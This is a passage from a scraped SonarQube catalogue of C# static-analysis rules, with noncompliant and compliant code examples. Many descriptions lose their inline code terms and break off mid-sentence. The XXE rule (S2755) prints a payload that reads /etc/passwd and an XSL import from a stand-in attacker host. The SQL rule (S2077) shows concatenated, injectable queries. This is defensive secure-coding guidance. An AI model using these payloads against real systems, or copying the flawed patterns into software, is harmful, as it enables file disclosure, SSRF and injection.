to retrieve the results. string returnValue = caller.EndInvoke(ar); }), null ); } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4462 |
Making blocking calls to According to the MSDN documentation:
Noncompliant Code Examplepublic static class DeadlockDemo { private static async Task DelayAsync() { await Task.Delay(1000); } // This method causes a deadlock when called in a GUI or ASP.NET context. public static void Test() { // Start the delay. var delayTask = DelayAsync(); // Wait for the delay to complete. delayTask.Wait(); // Noncompliant } } Compliant Solutionpublic static class DeadlockDemo { private static async Task DelayAsync() { await Task.Delay(1000); } public static async Task TestAsync() { // Start the delay. var delayTask = DelayAsync(); // Wait for the delay to complete. await delayTask; } } Exceptions
See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4220 |
When raising an event, two arguments are expected by the
This rule raises an issue when any of these guidelines is not met. Noncompliant Code Exampleusing System; namespace MyLibrary { class Foo { public event EventHandler ThresholdReached; protected virtual void OnThresholdReached(EventArgs e) { ThresholdReached?.Invoke(null, e); // Noncompliant } } } Compliant Solutionusing System; namespace MyLibrary { class Foo { public event EventHandler ThresholdReached; protected virtual void OnThresholdReached(EventArgs e) { ThresholdReached?.Invoke(this, e); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3010 |
Assigning a value to a Instead remove the field's Noncompliant Code Examplepublic class Person { private static DateTime dateOfBirth; private static int expectedFingers; public Person(DateTime birthday) { dateOfBirth = birthday; // Noncompliant; now everyone has this birthday expectedFingers = 10; // Noncompliant } } Compliant Solutionpublic class Person { private DateTime dateOfBirth; private static int expectedFingers = 10; public Person(DateTime birthday) { this.dateOfBirth = birthday; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4581 |
When the syntax
This rule raises an issue when a parameterless instantiation of the Noncompliant Code Examplepublic void Foo() { var g = new Guid(); // Noncompliant - what's the intent? } Compliant Solutionpublic void Foo(byte[] bytes) { var g1 = Guid.Empty; var g2 = Guid.NewGuid(); var g3 = new Guid(bytes); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3251 |
This rule raises an issue for partial methods for which no implementation can be found in the assembly. Noncompliant Code Examplepartial class C { partial void M(); //Noncompliant void OtherM() { M(); //Noncompliant. Will be removed. } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3937 |
The use of punctuation characters to separate subgroups in a number can make the number more readable. For instance consider 1,000,000,000 versus 1000000000. But when the grouping is irregular, such as 1,000,00,000; it indicates an error. This rule raises an issue when underscores ( Noncompliant Code Exampleint duos = 1_00_00; int million = 1_000_00_000; // Noncompliant int thousand = 1000; int tenThousand = 100_00; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4586 |
Returning Noncompliant Code Examplepublic Task<object> GetFooAsync() { return null; // Noncompliant } Compliant Solutionpublic Task<object> GetFooAsync() { return Task.FromResult<object>(null); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3254 |
Specifying the default parameter values in a method call is redundant. Such values should be omitted in the interests of readability. Noncompliant Code Examplepublic void M(int x, int y=5, int z = 7) { /* ... */ } // ... M(1, 5); //Noncompliant, y has the default value M(1, z: 7); //Noncompliant, z has the default value Compliant Solutionpublic void M(int x, int y=5, int z = 7) { /* ... */ } // ... M(1); M(1); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1075 |
Hardcoding a URI makes it difficult to test a program: path literals are not always portable across operating systems, a given absolute path may not exist on a specific test environment, a specified Internet URL may not be available when executing the tests, production environment filesystems usually differ from the development environment, ...etc. For all those reasons, a URI should never be hardcoded. Instead, it should be replaced by customizable parameter. Further even if the elements of a URI are obtained dynamically, portability can still be limited if the path-delimiters are hardcoded. This rule raises an issue when URI's or path delimiters are hardcoded. ExceptionsThis rule does not raise an issue when an ASP.NET virtual path is passed as an argument to one of the following:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3011 |
This rule raises an issue when reflection is used to change the visibility of a class, method or field, and when it is used to directly update a field value. Altering or bypassing the accessibility of classes, methods, or fields violates the encapsulation principle and could lead to run-time errors. Noncompliant Code Exampleusing System.Reflection; Type dynClass = Type.GetType("MyInternalClass"); // Noncompliant. Using BindingFlags.NonPublic will return non-public members BindingFlags bindingAttr = BindingFlags.NonPublic | BindingFlags.Static; MethodInfo dynMethod = dynClass.GetMethod("mymethod", bindingAttr); object result = dynMethod.Invoke(dynClass, null); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3253 |
Since the compiler will automatically invoke the base type's no-argument constructor, there's no need to specify its invocation explicitly. Also,
when only a single Noncompliant Code Exampleclass X { public X() { } // Noncompliant static X() { } // Noncompliant ~X() { } // Noncompliant ... } class Y : X { public Y(int parameter) : base() // Noncompliant { /* does something with the parameter */ } } Compliant Solutionclass X { ... } class Y : X { public Y(int parameter) { /* does something with the parameter */ } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3256 |
Using Noncompliant Code Example"".Equals(name); // Noncompliant !name.Equals(""); // Noncompliant name.Equals(string.Empty); // Noncompliant Compliant Solutionname != null && name.Length > 0 // Compliant but more error prone !string.IsNullOrEmpty(name) string.IsNullOrEmpty(name) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3376 |
Adherence to the standard naming conventions makes your code not only more readable, but more usable. For instance, This rule raises an issue when classes extending Noncompliant Code Exampleclass AttributeOne : Attribute // Noncompliant { } Compliant Solutionclass FirstAttribute : Attribute { } ExceptionsIf a class' direct base class doesn't follow the convention, then no issue is reported on the class itself, regardless of whether or not it conforms to the convention. class Timeout : Exception // Noncompliant { } class ExtendedTimeout : Timeout // Ignored; doesn't conform to convention, but the direct base doesn't conform either { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1199 |
Nested code blocks can be used to create a new scope and restrict the visibility of the variables defined inside it. Using this feature in a method typically indicates that the method has too many responsibilities, and should be refactored into smaller methods. Noncompliant Code Examplepublic void Evaluate() { /* ... */ { // Noncompliant - nested code block '{' ... '}' int a = stack.pop(); int b = stack.pop(); int result = a + b; stack.push(result); } /* ... */ } Compliant Solutionpublic void Evaluate() { /* ... */ StackAdd(); /* ... */ } private void StackAdd() { int a = stack.pop(); int b = stack.pop(); int result = a + b; stack.push(result); } ExceptionsThe usage of a code block after a "case" is allowed for this rule. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1871 |
Having two Noncompliant Code Exampleswitch (i) { case 1: DoFirst(); DoSomething(); break; case 2: DoSomethingDifferent(); break; case 3: // Noncompliant; duplicates case 1's implementation DoFirst(); DoSomething(); break; default: DoTheRest(); } if (a >= 0 && a < 10) { DoFirst(); DoTheThing(); } else if (a >= 10 && a < 20) { DoTheOtherThing(); } else if (a >= 20 && a < 50) // Noncompliant; duplicates first condition { DoFirst(); DoTheThing(); } ExceptionsBlocks in an if (a >= 0 && a < 10) { DoTheThing(); } else if (a >= 10 && a < 20) { DoTheOtherThing(); } else if (a >= 20 && a < 50) //no issue, usually this is done on purpose to increase the readability { DoTheThing(); } But this exception does not apply to if(a == 1) { doSomething(); //Noncompliant, this might have been done on purpose but probably not } else if (a == 2) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3257 |
Unnecessarily verbose declarations and initializations make it harder to read the code, and should be simplified. Specifically the following should be omitted when they can be inferred:
Noncompliant Code Examplevar l = new List<int>() {}; // Noncompliant, {} can be removed var o = new object() {}; // Noncompliant, {} can be removed var ints = new int[] {1, 2, 3}; // Noncompliant, int can be omitted ints = new int[3] {1, 2, 3}; // Noncompliant, the size specification can be removed int? i = new int?(5); // Noncompliant new int? could be omitted, it can be inferred from the declaration, and there's implicit conversion from T to T? var j = new int?(5); Func<int, int> f1 = (int i) => 1; //Noncompliant, can be simplified class Class { private event EventHandler MyEvent; public Class() { MyEvent += new EventHandler((a,b)=>{ }); // Noncompliant, needlessly verbose } } Compliant Solutionvar l = new List<int>(); var o = new object(); var ints = new [] {1, 2, 3}; ints = new [] {1, 2, 3}; int? i = 5; var j = new int?(5); Func<int, int> f1 = (i) => 1; class Class { private event EventHandler MyEvent; public Class() { MyEvent += (a,b)=>{ }; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1751 |
A loop with at most one iteration is equivalent to the use of an Noncompliant Code Examplefor (int i = 0; i < 10; i++) { Console.WriteLine(i); break; // Noncompliant, loop only executes once } ... foreach (var item in items) { return item; // Noncompliant, loop only executes once } ... Compliant Solutionfor (int i = 0; i < 10; i++) { Console.WriteLine(i); } ... var item = items.FirstOrDefault(); if (item != null) { return item; } ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4225 |
Creating an extension method that extends Noncompliant Code Exampleusing System; namespace MyLibrary { public static class MyExtensions { public static void Foo(this object o) //Noncompliant { // ... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1994 |
It can be extremely confusing when a Noncompliant Code Examplefor (i = 0; i < 10; j++) // Noncompliant { // ... } Compliant Solutionfor (i = 0; i < 10; i++) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4226 |
It makes little sense to create an extension method when it is possible to just add that method to the class itself. This rule raises an issue when an extension is declared in the same namespace as the class it is extending. Noncompliant Code Examplenamespace MyLibrary { public class Foo { // ... } public static class MyExtensions { public static void Bar(this Foo a) // Noncompliant { // ... } } } Compliant SolutionUsing separate namespace: namespace MyLibrary { public class Foo { // ... } } namespace Helpers { public static class MyExtensions { public static void Bar(this Foo a) { // ... } } } Merging the method in the class: namespace MyLibrary { public class Foo { // ... public void Bar() { // ... } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2190 |
Recursion happens when control enters a loop that has no exit. This can happen a method invokes itself, when a pair of methods invoke each other,
or when Noncompliant Code Exampleint Pow(int num, int exponent) // Noncompliant; no condition under which pow isn't re-called { num = num * Pow(num, exponent-1); return num; // this is never reached } void InternalRecursion(int i) { start: goto end; end: goto start; // Noncompliant; there's no way to break out of this method } Compliant Solutionint Pow(int num, int exponent) { if (exponent > 1) // recursion now conditional and stop-able { num = num * Pow(num, exponent-1); } return num; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2070 |
The MD5 algorithm and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6. This rule tracks usage of the Consider using safer alternatives, such as SHA-256, or SHA-3. Noncompliant Code Examplevar hashProvider1 = new MD5CryptoServiceProvider(); //Noncompliant var hashProvider2 = (HashAlgorithm)CryptoConfig.CreateFromName("MD5"); //Noncompliant var hashProvider3 = new SHA1Managed(); //Noncompliant var hashProvider4 = HashAlgorithm.Create("SHA1"); //Noncompliant Compliant Solutionvar hashProvider1 = new SHA256Managed(); var hashProvider2 = (HashAlgorithm)CryptoConfig.CreateFromName("SHA256Managed"); var hashProvider3 = HashAlgorithm.Create("SHA256Managed"); See
DeprecatedThis rule is deprecated; use S4790 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S113 |
Some tools work better when files end with an empty line. This rule simply generates an issue if it is missing. For example, a Git diff looks like this if the empty line is missing at the end of the file: +class Test +{ +} \ No newline at end of file |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3966 |
Disposing an object twice, either with the In addition, even if the documentation of
This rule raises an issue when, in the same method, the Noncompliant Code Examplesusing (var d = new Disposable()) // Noncompliant { d.Dispose(); } using var d = new Disposable(); d.Dispose(); // Noncompliant {{Refactor this code to make sure 'd' is disposed only once.}} Compliant Solutionusing var d = new Disposable(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3603 |
Marking a method with the Noncompliant Code Exampleclass Person { private int age; [Pure] // Noncompliant. In this case the method makes a possibly visible state change void ConfigureAge(int age) { ... this.age = age; } ... } Compliant Solutionclass Person { private int age; void ConfigureAge(int age) { ... this.age = age; } ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2997 |
Typically you want to use Noncompliant Code Examplepublic FileStream WriteToFile(string path, string text) { using (var fs = File.Create(path)) // Noncompliant { var bytes = Encoding.UTF8.GetBytes(text); fs.Write(bytes, 0, bytes.Length); return fs; } } Compliant Solutionpublic FileStream WriteToFile(string path, string text) { var fs = File.Create(path); var bytes = Encoding.UTF8.GetBytes(text); fs.Write(bytes, 0, bytes.Length); return fs; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2755 |
XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs. Example in this XML document, an external entity read the /etc/passwd file: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <to>&xxe;</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note> In this XSL document, network access is allowed which can lead to SSRF vulnerabilities: <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl"> <xsl:import href="http://www.attacker.com/evil.xsl"/> <xsl:include href="http://www.attacker.com/evil.xsl"/> <xsl:template match="/"> &content; </xsl:template> </xsl:stylesheet> It is recommended to disable access to external entities and network access in general. Noncompliant Code ExamplesSystem.Xml.XmlDocument // .NET Framework < 4.5.2 XmlDocument parser = new XmlDocument(); // Noncompliant: XmlDocument is not safe by default parser.LoadXml("xxe.xml"); or // .NET Framework 4.5.2+ XmlDocument parser = new XmlDocument(); parser.XmlResolver = new XmlUrlResolver(); // Noncompliant: XmlDocument.XmlResolver configured with XmlUrlResolver that makes it unsafe parser.LoadXml("xxe.xml"); System.Xml.XmlTextReader // .NET Framework < 4.5.2 XmlTextReader reader = new XmlTextReader("xxe.xml"); // Noncompliant: XmlTextReady is not safe by default while (reader.Read()) { ... } or // .NET Framework 4.5.2+ XmlTextReader reader = new XmlTextReader("xxe.xml"); reader.XmlResolver = new XmlUrlResolver(); // Noncompliant: XmlTextRead.XmlResolver configured with XmlUrlResolver that makes it unsafe while (reader.Read()) { ... } System.Xml.XmlReader // .NET Framework 4.5.2+ XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Parse; settings.XmlResolver = new XmlUrlResolver(); XmlReader reader = XmlReader.Create("xxe.xml", settings); // Noncompliant: XmlReader is safe by default and becomes unsafe if DtdProcessing = Parse and XmlResolver is not null while (reader.Read()) { ... } System.Xml.XPath.XPathDocument // prior to .NET 4.5.2 XPathDocument doc = new XPathDocument("example.xml"); // Noncompliant XPathNavigator nav = doc.CreateNavigator(); string xml = nav.InnerXml.ToString(); Compliant SolutionSystem.Xml.XmlDocument XmlDocument parser = new XmlDocument(); parser.XmlResolver = null; // Compliant: XmlResolver has been set to null parser.LoadXml("xxe.xml"); or XmlDocument parser = new XmlDocument(); // Compliant: XmlDocument is safe by default in .NET Framework 4.5.2+ because XmlResolver is set by default to null parser.LoadXml("xxe.xml"); System.Xml.XmlTextReader // .NET 4.5.2+ XmlTextReader reader = new XmlTextReader("xxe.xml"); // Compliant: XmlTextReader is safe by default in .NET Framework 4.5.2+ because XmlResolver is set by default to null while (reader.Read()) { ... } // .NET 4.0 to .NET 4.5.1 XmlTextReader reader = new XmlTextReader("xxe.xml"); reader.DtdProcessing = DtdProcessing.Prohibit; // Compliant: XmlTextReader is safe by default in .NET Framework 4.5.2+ because XmlResolver is set by default to null // < .NET 4.0 XmlTextReader reader = new XmlTextReader(stream); reader.ProhibitDtd = true; // Compliant: default is false System.Xml.XmlReader XmlReader reader = XmlReader.Create("xxe.xml"); // Compliant: XmlReader is safe by default while (reader.Read()) { ... } System.Xml.XPath.XPathDocument // prior to .NET 4.5.2 XmlReader reader = XmlReader.Create("example.xml"); XPathDocument doc = new XPathDocument(reader); // Compliant: XPathDocument is safe when being given a safe XmlReader XPathNavigator nav = doc.CreateNavigator(); string xml = nav.InnerXml.ToString(); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2758 |
When the second and third operands of a ternary operator are the same, the operator will always return the same value regardless of the condition. Either the operator itself is pointless, or a mistake was made in coding it. Noncompliant Code Examplepublic bool CanVote(Person person) { return person.GetAge() > 18 ? true : true; // Noncompliant; is this what was intended? } Compliant Solutionpublic bool CanVote(Person person) { return person.GetAge() > 18 ? true : false; // or even better: // return person.GetAge() > 18; } DeprecatedThis rule is deprecated; use S3923 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3604 |
Fields, properties and events can be initialized either inline or in the constructor. Initializing them inline and in the constructor at the same time is redundant; the inline initialization will be overridden. Noncompliant Code Exampleclass Person { int age = 42; // Noncompliant public Person(int age) { this.age = age; } } Compliant Solutionclass Person { int age; public Person(int age) { this.age = age; } } ExceptionsThis rule doesn't report an issue if not all constructors initialize the field. If the field is initialized inline to its default value, then S3052 already reports an issue on the initialization. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3967 |
A jagged array is an array whose elements are arrays. It is recommended over a multidimensional array because the arrays that make up the elements can be of different sizes, which avoids wasting memory space. Noncompliant Code Exampleint [,] myArray = // Noncompliant { {1,2,3,4}, {5,6,7,0}, {8,0,0,0}, {9,0,0,0} }; // ... myArray[1,1] = 0; Compliant Solutionint[][] myArray = { new int[] {1,2,3,4}, new int[] {5,6,7}, new int[] {8}, new int[] {9} }; // ... myArray[1][1] = 0; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2757 |
The use of operators pairs ( This rule raises an issue when Noncompliant Code Exampleint target = -5; int num = 3; target =- num; // Noncompliant; target = -3. Is that really what's meant? target =+ num; // Noncompliant; target = 3 Compliant Solutionint target = -5; int num = 3; target = -num; // Compliant; intent to assign inverse value of num is clear target += num; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4818 |
Using sockets is security-sensitive. It has led in the past to the following vulnerabilities: Sockets are vulnerable in multiple ways:
This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Exampleusing System.Net.Sockets; class TestSocket { public static void Run() { // Sensitive Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); // TcpClient and UdpClient simply abstract the details of creating a Socket TcpClient client = new TcpClient("example.com", 80); // Sensitive UdpClient listener = new UdpClient(80); // Sensitive } } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1309 |
This rule allows you to track the usage of the Noncompliant Code Example[SuppressMessage("", "S100")] ... #pragma warning disable S100 ... #pragma warning restore S100 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2077 |
Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities: SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms. This rule flags the execution of SQL queries which are built using formatting of strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice. The following specific method signatures are tested:
The following formatting methods will raise an issue:
Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
You can also reduce the impact of an attack by using a database account with low privileges. Sensitive Code Examplepublic void Foo(DbContext context, string query, string param) { string sensitiveQuery = string.Concat(query, param); context.Database.ExecuteSqlCommand(sensitiveQuery); // Sensitive context.Query<User>().FromSql(sensitiveQuery); // Sensitive context.Database.ExecuteSqlCommand($"SELECT * FROM mytable WHERE mycol={value}", param); // Sensitive, the FormattableString is evaluated and converted to RawSqlString string query = $"SELECT * FROM mytable WHERE mycol={param}"; context.Database.ExecuteSqlCommand(query); // Sensitive, the FormattableString has already been evaluated, it won't be converted to a parametrized query. } public void Bar(SqlConnection connection, string param) { SqlCommand command; string sensitiveQuery = string.Format("INSERT INTO Users (name) VALUES (\"{0}\")", param); command = new SqlCommand(sensitiveQuery); // Sensitive command.CommandText = sensitiveQuery; // Sensitive SqlDataAdapter adapter; adapter = new SqlDataAdapter(sensitiveQuery, connection); // Sensitive } Compliant Solutionpublic void Foo(DbContext context, string query, string param) { context.Database.ExecuteSqlCommand("SELECT * FROM mytable WHERE mycol=@p0", param); // Compliant, it's a parametrized safe query } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S122 |
For better readability, do not put more than one statement on a single line. Noncompliant Code Exampleif(someCondition) DoSomething(); Compliant Solutionif(someCondition) { DoSomething(); } ExceptionsAnonymous functions containing a single statement are ignored. Block statements are not considered either. Func<object, bool> item1 = o => { return true; }; // Compliant Func<object, bool> item1 = o => { var r = false; return r; }; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2197 |
When the modulus of a negative number is calculated, the result will either be negative or zero. Thus, comparing the modulus of a variable for equality with a positive number (or a negative one) could result in unexpected results. Noncompliant Code Examplepublic bool IsOdd(int x) { return x % 2 == 1; // Noncompliant; if x is an odd negative, x % 2 == -1 } Compliant Solutionpublic bool IsOdd(int x) { return x %2 != 0; } or public bool IsOdd(uint x) { return x %2 == 1; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4136 |
For clarity, all overloads of the same method should be grouped together. That lets both users and maintainers quickly understand all the current available options. Noncompliant Code Exampleinterface IMyInterface { int DoTheThing(); // Noncompliant - overloaded method declarations are not grouped together string DoTheOtherThing(); int DoTheThing(string s); } Compliant Solutioninterface IMyInterface { int DoTheThing(); int DoTheThing(string s); string DoTheOtherThing(); } ExceptionsAs it is common practice to group method declarations by implemented interface, no issue will be raised for implicit and explicit interface implementations if grouped together with other members of that interface. As it is also a common practice to group method declarations by accessibility level, no issue will be raised for method overloads having different access modifiers. Example: class MyClass { private void DoTheThing(string s) // Ok - this method is declared as private while the other one is public { // ... } private string DoTheOtherThing(string s) { // ... } public void DoTheThing() { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3168 |
An Having an This rule raises an issue when non-event handler methods are both Noncompliant Code Exampleclass HttpPrinter { private string content; public async void CallNetwork(string url) //Noncompliant { var client = new HttpClient(); var response = await client.GetAsync(url); content = await response.Content.ReadAsStringAsync(); } public async Task PrintContent(string url) // works correctly if web request finishes in under 1 second, otherwise content will be null { CallNetwork(url); await Task.Delay(1000); Console.Write(content); } } Compliant Solutionclass HttpPrinter { private string content; public async Task CallNetwork(string url) { var client = new HttpClient(); var response = await client.GetAsync(url); content = await response.Content.ReadAsStringAsync(); } public async Task PrintContent(string url) { await CallNetwork(url); // <----- call changed here. If await is not added warning CS4014 will be triggered await Task.Delay(1000); Console.Write(content); } } ExceptionsEvent handlers, i.e. methods with two arguments, first one matching |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4015 |
Changing an inherited member to This rule raises an issue when a Noncompliant Code Exampleusing System; namespace MyLibrary { public class Foo { public void SomeMethod(int count) { } } public class Bar:Foo { private void SomeMethod(int count) { } // Noncompliant } } Compliant Solutionusing System; namespace MyLibrary { public class Foo { public void SomeMethod(int count) { } } public sealed class Bar : Foo { private void SomeMethod(int count) { } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S121 |
While not technically incorrect, the omission of curly braces can be misleading, and may lead to the introduction of errors during maintenance. Noncompliant Code Example// the two statements seems to be attached to the if statement, but that is only true for the first one: if (condition) ExecuteSomething(); CheckSomething(); Compliant Solutionif (condition) { ExecuteSomething(); CheckSomething(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4017 |
A nested type is a type argument that is also a generic type. Calling a method with such a nested type argument requires complicated and confusing code. It should be avoided as much as possible. Noncompliant Code Exampleusing System; using System.Collections.Generic; namespace MyLibrary { public class Foo { public void DoSomething(ICollection<ICollection<int>> outerCollect) // Noncompliant { } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1541 |
The cyclomatic complexity of methods and properties should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3962 |
The value of a This rule raises an issue when a As specified by Microsoft, the list of types that can have a constant value are:
Noncompliant Code Examplenamespace myLib { public class Foo { static readonly int x = 1; // Noncompliant static readonly int y = x + 4; // Noncompliant static readonly string s = "Bar"; // Noncompliant } } Compliant Solutionnamespace myLib { public class Foo { const int x = 1; const int y = x + 4; const string s = "Bar"; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4016 |
If an This rule raises an issue when the name of an enumeration member contains "reserved". Noncompliant Code Exampleusing System; namespace MyLibrary { public enum Color { None, Red, Orange, Yellow, ReservedColor // Noncompliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3169 |
